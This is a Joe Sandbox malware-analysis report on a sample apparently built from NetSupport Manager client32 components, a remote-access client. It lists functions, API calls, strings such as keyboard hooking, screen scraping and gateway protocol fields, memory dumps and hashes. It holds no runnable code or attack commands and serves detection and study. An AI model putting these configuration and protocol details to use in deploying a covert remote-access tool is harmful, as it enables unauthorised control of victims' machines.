exiting...$ShowKBEnable$TCPIP$TraceIPC$TracePriv$UseIPC$UseLegacyPrintCapture$UseNTSecurity$V12.00.8$V12.10.8$View$Windows 10$Windows 10 x64$Windows 2000$Windows 2003$Windows 2003 x64$Windows 2008$Windows 2008 x64$Windows 2012$Windows 2012 R2$Windows 2016$Windows 7$Windows 7 x64$Windows 8$Windows 8 x64$Windows 8.1$Windows 8.1 x64$Windows 95$Windows 98$Windows CE$Windows Ding.wav$Windows Millennium$Windows NT$Windows Vista$Windows Vista x64$Windows XP$Windows XP Ding.wav$Windows XP x64$\Explorer.exe$_debug$_debug$cl32main$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaService$istaUI$pcicl32$win8ui
API String ID: 1099283604-2655008560
Opcode ID: a9e638ff69f1124c323ad2d8e1e7c75ea6f1f7704d0975bff64711fd33ab6bf8
Instruction ID: 27af1d42f1b4f6ddb2c14770db7fbacfca67435089f052a3aa779117de4136e9
Opcode Fuzzy Hash: a9e638ff69f1124c323ad2d8e1e7c75ea6f1f7704d0975bff64711fd33ab6bf8
Instruction Fuzzy Hash: 3CE25D75F0022AABEF15DBE4DC80FADF7A5AB4474CF904068E925AB3C4D770A944CB52

Function 1102DB00 Relevance: 82.9, APIs: 15, Strings: 32, Instructions: 630
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MacAddress, xrefs: 1102E02F
%session%, xrefs: 1102E2CA
DisableConsoleClient, xrefs: 1102DE67
%s.%02d, xrefs: 1102E250
IsA(), xrefs: 1102E279, 1102E2F8
14/03/16 10:38:31 V12.10F8, xrefs: 1102E3BE
%sessionname%, xrefs: 1102E289, 1102E2A2
$session$, xrefs: 1102E2B6
ListenPort, xrefs: 1102DF00
client32.ini, xrefs: 1102DD55
, xrefs: 1102E0B5
ts macaddr=%s, xrefs: 1102E01C
051829, xrefs: 1102E145, 1102E30B, 1102E32F, 1102E33C, 1102E36C, 1102E3E1
Client, xrefs: 1102DEE5, 1102DF1D, 1102E034
Error x%x reading %s, sesh=%d, xrefs: 1102DDB1
client32, xrefs: 1102DE25
%02d, xrefs: 1102E238
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102E274, 1102E2F3
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DFF4
NSMWClass, xrefs: 1102DCE4
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E3EA
client32 dbi %hs, xrefs: 1102E3C3
Warning: Unexpanded clientname=<%s>, xrefs: 1102E1F3
WTSFreeMemory, xrefs: 1102E061
WTSQuerySessionInformationA, xrefs: 1102DF9E
Wtsapi32.dll, xrefs: 1102DF2C
TSMode, xrefs: 1102DEE0
ClientName, xrefs: 1102E0E5
NSM.LIC, xrefs: 1102DB22
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E410
screenscrape, xrefs: 1102DF18
TCPIP, xrefs: 1102DF05

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$051829$14/03/16 10:38:31 V12.10F8$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 3802068140-1050804309
Opcode ID: 8d7e34653a530cc98d4c7b142cb31fa2942002c12a1f4f3c66c79a8befd3f6be
Instruction ID: 727bed6a5d63171c4319a8bac454151215a042d106ed124055d9f0508de139ba
Opcode Fuzzy Hash: 8d7e34653a530cc98d4c7b142cb31fa2942002c12a1f4f3c66c79a8befd3f6be
Instruction Fuzzy Hash: 7932D275D0022A9FDF12DFA4DC84BEDB7B8AB44308F9445E9E55867280EB70AF84CB51

Function 6C5E3D00 Relevance: 68.6, APIs: 11, Strings: 28, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6C5E3D27

Strings

ListenPort, xrefs: 6C5E3DDA
CHATID, xrefs: 6C5E400A
Port, xrefs: 6C5E3DCA
CLIENT_VERSION=1.0, xrefs: 6C5E3ED0
CLIENT_NAME=%s, xrefs: 6C5E3F17
DEPT=%s, xrefs: 6C5E420C
connection_index == 0, xrefs: 6C5E3D7A
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6C5E3D75
A1=%s, xrefs: 6C5E40AF
CHATID=%s, xrefs: 6C5E4046
CMD=OPEN, xrefs: 6C5E3EB9
A2=%s, xrefs: 6C5E4109
*Gsk, xrefs: 6C5E3E24
GSK=%s, xrefs: 6C5E3FCC
A4=%s, xrefs: 6C5E41BD
PORT=%d, xrefs: 6C5E3F68
A3=%s, xrefs: 6C5E4163
APPTYPE=%d, xrefs: 6C5E41DD
1.1, xrefs: 6C5E3E02
*Dept, xrefs: 6C5E41F4
MAXPACKET=%d, xrefs: 6C5E3F01
client247, xrefs: 6C5E400F, 6C5E406B, 6C5E40D1, 6C5E412B, 6C5E4185
CMPI=%u, xrefs: 6C5E3FEA
CLIENT_ADDR=%s, xrefs: 6C5E3F4A
PROTOCOL_VER=%u.%u, xrefs: 6C5E3EEB
051829, xrefs: 6C5E3F0C
TCPIP, xrefs: 6C5E3DCF, 6C5E3DDF
HOSTNAME=%s, xrefs: 6C5E3F9A

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: _memset
String ID: *Dept$*Gsk$051829$1.1$A1=%s$A2=%s$A3=%s$A4=%s$APPTYPE=%d$CHATID$CHATID=%s$CLIENT_ADDR=%s$CLIENT_NAME=%s$CLIENT_VERSION=1.0$CMD=OPEN$CMPI=%u$DEPT=%s$GSK=%s$HOSTNAME=%s$ListenPort$MAXPACKET=%d$PORT=%d$PROTOCOL_VER=%u.%u$Port$TCPIP$client247$connection_index == 0$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c
API String ID: 2102423945-1357414646
Opcode ID: 6d435d229b3b4486908d5cddf25466578f610b9cc7e2ac30755706ff97e1e4e5
Instruction ID: 78ceed8447a9ae39e8a9817248ff21eb9eee86c501455ac377cf3cee1fdc15f7
Opcode Fuzzy Hash: 6d435d229b3b4486908d5cddf25466578f610b9cc7e2ac30755706ff97e1e4e5
Instruction Fuzzy Hash: D0E1A7B2D0021CAACB24DB68DC81FEF7779DF99206F4045D5E50963A41DB30AF888FA5

Function 110A9C90 Relevance: 56.2, APIs: 27, Strings: 5, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(setupapi.dll,A1BC2D8B,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,11184778), ref: 110A9CC3
GetProcAddress.KERNEL32(00000000,SetupDiGetClassDevsA), ref: 110A9CE7
SetupDiGetClassDevsA.SETUPAPI(111A6E0C,00000000,00000000,00000012,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF), ref: 110A9D01
GetProcAddress.KERNEL32(00000000,SetupDiEnumDeviceInterfaces), ref: 110A9D2C
_free.LIBCMT ref: 110A9D60
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A9D72
GetLastError.KERNEL32 ref: 110A9D9D
_malloc.LIBCMT ref: 110A9DB3
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A9DD5
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF,?,1102F1AA,Client), ref: 110A9E07
SetLastError.KERNEL32(00000078), ref: 110A9E1B
GetLastError.KERNEL32 ref: 110A9E21
_free.LIBCMT ref: 110A9E33
SetLastError.KERNEL32(00000078), ref: 110A9E44
SetLastError.KERNEL32(00000078), ref: 110A9E51
_free.LIBCMT ref: 110A9E64
FreeLibrary.KERNEL32(?,?), ref: 110A9E74
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF,?,1102F1AA,Client), ref: 110A9F18

Strings

setupapi.dll, xrefs: 110A9CBB
SetupDiDestroyDeviceInfoList, xrefs: 110A9EC0
SetupDiEnumDeviceInterfaces, xrefs: 110A9D26
SetupDiGetClassDevsA, xrefs: 110A9CDB
SetupDiGetDeviceInterfaceDetailA, xrefs: 110A9D6C, 110A9DCF

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressProc$Library_free$Free$ClassDevsLoadSetup_malloc
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInterfaces$SetupDiGetClassDevsA$SetupDiGetDeviceInterfaceDetailA$setupapi.dll
API String ID: 3464732724-3340099623
Opcode ID: f516254d0abd54e50715bca7ef5168f810df5caaca2cd717629c9093cd8c9f4a
Instruction ID: 033bff87456eb4c9bd2d5bbaba34d7345019b106b940800e90953e4c12ebf53e
Opcode Fuzzy Hash: f516254d0abd54e50715bca7ef5168f810df5caaca2cd717629c9093cd8c9f4a
Instruction Fuzzy Hash: F2816279E14259ABEB04DFF4EC84F9FFBB8AF48704F104528F921A6284EB759905CB50

Function 11133920 Relevance: 51.0, APIs: 16, Strings: 13, Instructions: 278
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetLocalTime.KERNEL32(?,_debug,CheckLeaks,00000001,00000000,A1BC2D8B), ref: 1113398E
LoadLibraryA.KERNEL32(psapi.dll), ref: 111339E6
GetCurrentProcess.KERNEL32 ref: 11133A27
GetProcAddress.KERNEL32(?,GetProcessHandleCount), ref: 11133A51
GetProcessHandleCount.KERNEL32(00000000,?), ref: 11133A62
SetLastError.KERNEL32(00000078), ref: 11133A68
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11133A84
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11133AAC
SetLastError.KERNEL32(00000078), ref: 11133AC9
SetLastError.KERNEL32(00000078), ref: 11133AD6
GetProcAddress.KERNEL32(?,GetProcessMemoryInfo), ref: 11133AE8
K32GetProcessMemoryInfo.KERNEL32(?,?,00000028), ref: 11133AFB
SetLastError.KERNEL32(00000078), ref: 11133B01
FreeLibrary.KERNEL32(?), ref: 11133C6B
FreeLibrary.KERNEL32(?), ref: 11133C78
FreeLibrary.KERNEL32(?), ref: 11133C82

Strings

RestartGdiObj, xrefs: 11133C0E
RestartHandles, xrefs: 11133BE7
_debug, xrefs: 11133972
psapi.dll, xrefs: 111339C3
CheckLeaks, xrefs: 1113396D
GetGuiResources, xrefs: 11133A7E, 11133AA6
Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB, xrefs: 11133B73
RestartMB, xrefs: 11133BBC
Client, xrefs: 11133BC1, 11133BEC, 11133C13, 11133C3A
GetProcessMemoryInfo, xrefs: 11133AE2
GetProcessHandleCount, xrefs: 11133A4B
Date=%04d-%02d-%02d, xrefs: 111339AB
RestartUserObj, xrefs: 11133C35

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$FreeProcess$CountCurrentHandleInfoLoadLocalMemoryTime__wcstoi64
String ID: CheckLeaks$Client$Date=%04d-%02d-%02d$GetGuiResources$GetProcessHandleCount$GetProcessMemoryInfo$RestartGdiObj$RestartHandles$RestartMB$RestartUserObj$Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB$_debug$psapi.dll
API String ID: 263027137-1001504656
Opcode ID: 87783a789c6862cb7a583f6d0127a67f1abf74d6ca2b18a0a01f6916aa137176
Instruction ID: 17d7fdf42b282dadbb05295794651177f64ab9c07d211a437ec733fd2e53fcc2
Opcode Fuzzy Hash: 87783a789c6862cb7a583f6d0127a67f1abf74d6ca2b18a0a01f6916aa137176
Instruction Fuzzy Hash: A3B1BFB1E242699FDB10DFE9CDC0AADFBB6EB48319F10452AE414E7348DB349844CB65

Function 1102DBC9 Relevance: 49.3, APIs: 7, Strings: 21, Instructions: 319
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,Client,screenscrape,00000001,00000003,TCPIP,ListenPort,00000000,00000003,00000003,?,?,?,?,?,?), ref: 1102DF31

Strings

MacAddress, xrefs: 1102E02F
DisableConsoleClient, xrefs: 1102DE67
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DFF4
14/03/16 10:38:31 V12.10F8, xrefs: 1102E3BE
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E3EA
client32 dbi %hs, xrefs: 1102E3C3
WTSFreeMemory, xrefs: 1102E061
ListenPort, xrefs: 1102DF00
WTSQuerySessionInformationA, xrefs: 1102DF9E
client32.ini, xrefs: 1102DD55
, xrefs: 1102E0B5
Wtsapi32.dll, xrefs: 1102DF2C
TSMode, xrefs: 1102DEE0
ClientName, xrefs: 1102E0E5
ts macaddr=%s, xrefs: 1102E01C
051829, xrefs: 1102E145, 1102E36C, 1102E3E1
Client, xrefs: 1102DEE5, 1102DF1D, 1102E034
Error x%x reading %s, sesh=%d, xrefs: 1102DDB1
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E410
screenscrape, xrefs: 1102DF18
TCPIP, xrefs: 1102DF05

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $051829$14/03/16 10:38:31 V12.10F8$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1029625771-1446895765
Opcode ID: efde7a6f29c4b35a1bc2373ff856d498f8aef1b4f42035034b7e6d706e59a609
Instruction ID: 8eab5b2d156e186679f92ce27f1e5cdd209b728942572a9b5b46018c3091c824
Opcode Fuzzy Hash: efde7a6f29c4b35a1bc2373ff856d498f8aef1b4f42035034b7e6d706e59a609
Instruction Fuzzy Hash: 97C1D275E0026AAFDF22DF959C84BEDF7B9AB44308F9440EDE55867280D770AE80CB51

Function 111414A0 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 266
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(User32.dll,00000000,00000000), ref: 111414F3
FreeLibrary.KERNEL32(00000000), ref: 11141563
LoadLibraryA.KERNEL32(imm32,?,?,00000000,00000000), ref: 11141586
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 111415E5
_memset.LIBCMT ref: 111415F9
LoadCursorA.USER32(00000000,00007F00), ref: 11141649
GetStockObject.GDI32(00000000), ref: 11141653
RegisterClassExA.USER32(?), ref: 1114166A
LoadLibraryA.KERNEL32(pcihooks,?,?,00000000,00000000), ref: 11141702
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 11141717
SetTimer.USER32(00000000,00000000,000003E8,1113CD60), ref: 1114183A
#17.COMCTL32(?,?,?,00000000,00000000), ref: 11141868
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000000,00000000), ref: 11141873

Part of subcall function 11017450: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,A1BC2D8B,1102FCB2,00000000), ref: 1101747E
Part of subcall function 11017450: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1101748E
Part of subcall function 11017450: GetProcAddress.KERNEL32(00000000,QueueUserWorkItem), ref: 110174D2
Part of subcall function 11017450: FreeLibrary.KERNEL32(00000000), ref: 110174F8

Part of subcall function 110CC7F0: CreateWindowExA.USER32(00000000,button,11194244,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000000,00000000), ref: 110CC829
Part of subcall function 110CC7F0: SetClassLongA.USER32(00000000,000000E8,110CC570), ref: 110CC840

Strings

UI.CPP, xrefs: 11141621, 1114167C
riched32.dll, xrefs: 1114186E
*quiet, xrefs: 111415AD
NSMWClass, xrefs: 111415D7, 11141663
pcihooks, xrefs: 111416FD
imm32, xrefs: 1114157C
_debug, xrefs: 11141771
HookKeyboard, xrefs: 11141711
TraceCopyData, xrefs: 1114176C
User32.dll, xrefs: 111414E7
NSMGetAppIcon(), xrefs: 11141626
InitUI (%d), xrefs: 111414CC
_License, xrefs: 111415B2
View, xrefs: 11141751

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Library$Load$Class$AddressCreateFreeProc$CursorEventInfoLongObjectRegisterStockTimerWindow_memset
String ID: *quiet$HookKeyboard$InitUI (%d)$NSMGetAppIcon()$NSMWClass$TraceCopyData$UI.CPP$User32.dll$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 3706574701-3145203681
Opcode ID: bf77d67e3ec3500b8f2db5927d4705f1cc154319e5a682cee20025d48f6291c1
Instruction ID: 9b294397b9efa9119a6c3372e39ca87a41eafe2d9b680e3b49ce131b24699399
Opcode Fuzzy Hash: bf77d67e3ec3500b8f2db5927d4705f1cc154319e5a682cee20025d48f6291c1
Instruction Fuzzy Hash: 6EA19DB4E0126AAFDB01DFE9C9C4AADFBB4FB4870DB60413EE52997644EB306440CB55

Function 6C5D63C0 Relevance: 47.4, APIs: 24, Strings: 3, Instructions: 181
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(6C61B898,00000000,?,00000000,?,6C5DD77B,00000000), ref: 6C5D63E8
InterlockedDecrement.KERNEL32(-0003F3B7), ref: 6C5D63FA
EnterCriticalSection.KERNEL32(-0003F3CF,?,00000000,?,6C5DD77B,00000000), ref: 6C5D6412
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6C5D643B
SetLastError.KERNEL32(00000078,?,00000000,?,6C5DD77B,00000000), ref: 6C5D6450
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6C5D646F
SetLastError.KERNEL32(00000078,?,00000000,?,6C5DD77B,00000000), ref: 6C5D6484
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6C5D64A3
SetLastError.KERNEL32(00000078,?,00000000,?,6C5DD77B,00000000), ref: 6C5D64C5
shutdown.WSOCK32(?,00000001,?,00000000,?,6C5DD77B,00000000), ref: 6C5D64E9
GetLastError.KERNEL32(?,00000001,?,00000000,?,6C5DD77B,00000000), ref: 6C5D64F2
timeGetTime.WINMM(?,00000001,?,00000000,?,6C5DD77B,00000000), ref: 6C5D6510
#16.WSOCK32(?,?,00001000,00000000,?,00000000,?,6C5DD77B,00000000), ref: 6C5D6526
GetLastError.KERNEL32(?,?,00001000,00000000,?,00000000,?,6C5DD77B,00000000), ref: 6C5D6533
timeGetTime.WINMM(?,00000000,?,6C5DD77B,00000000), ref: 6C5D6540
Sleep.KERNEL32(00000001,?,00000000,?,6C5DD77B,00000000), ref: 6C5D654B
#16.WSOCK32(?,?,00001000,00000000,?,?,00001000,00000000,?,00000000,?,6C5DD77B,00000000), ref: 6C5D6563
closesocket.WSOCK32(?,?,?,00001000,00000000,?,00000000,?,6C5DD77B,00000000), ref: 6C5D6574
WSAGetLastError.WSOCK32(?,?,?,00001000,00000000,?,00000000,?,6C5DD77B,00000000), ref: 6C5D657D
Sleep.KERNEL32(00000032,?,?,?,00001000,00000000,?,00000000,?,6C5DD77B,00000000), ref: 6C5D658E
GetLastError.KERNEL32(?,?,?,00001000,00000000,?,00000000,?,6C5DD77B,00000000), ref: 6C5D659E
_memset.LIBCMT ref: 6C5D65C8
LeaveCriticalSection.KERNEL32(?,?,6C5DD77B,00000000), ref: 6C5D65D7
LeaveCriticalSection.KERNEL32(6C61B898,?,00000000,?,6C5DD77B,00000000), ref: 6C5D65F2

Strings

CloseGatewayConnection - closesocket(%u) FAILED (%d), xrefs: 6C5D65A9
InternetCloseHandle, xrefs: 6C5D6435, 6C5D6469, 6C5D649D
CloseGatewayConnection - shutdown(%u) FAILED (%d), xrefs: 6C5D64FD

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast$CriticalSection$AddressProc$EnterLeaveSleepTimetime$DecrementInterlocked_memsetclosesocketshutdown
String ID: CloseGatewayConnection - closesocket(%u) FAILED (%d)$CloseGatewayConnection - shutdown(%u) FAILED (%d)$InternetCloseHandle
API String ID: 3764039262-2631155478
Opcode ID: f3d403a941c4984374258638dd86798888d02ad622736958829eb0afce58e01c
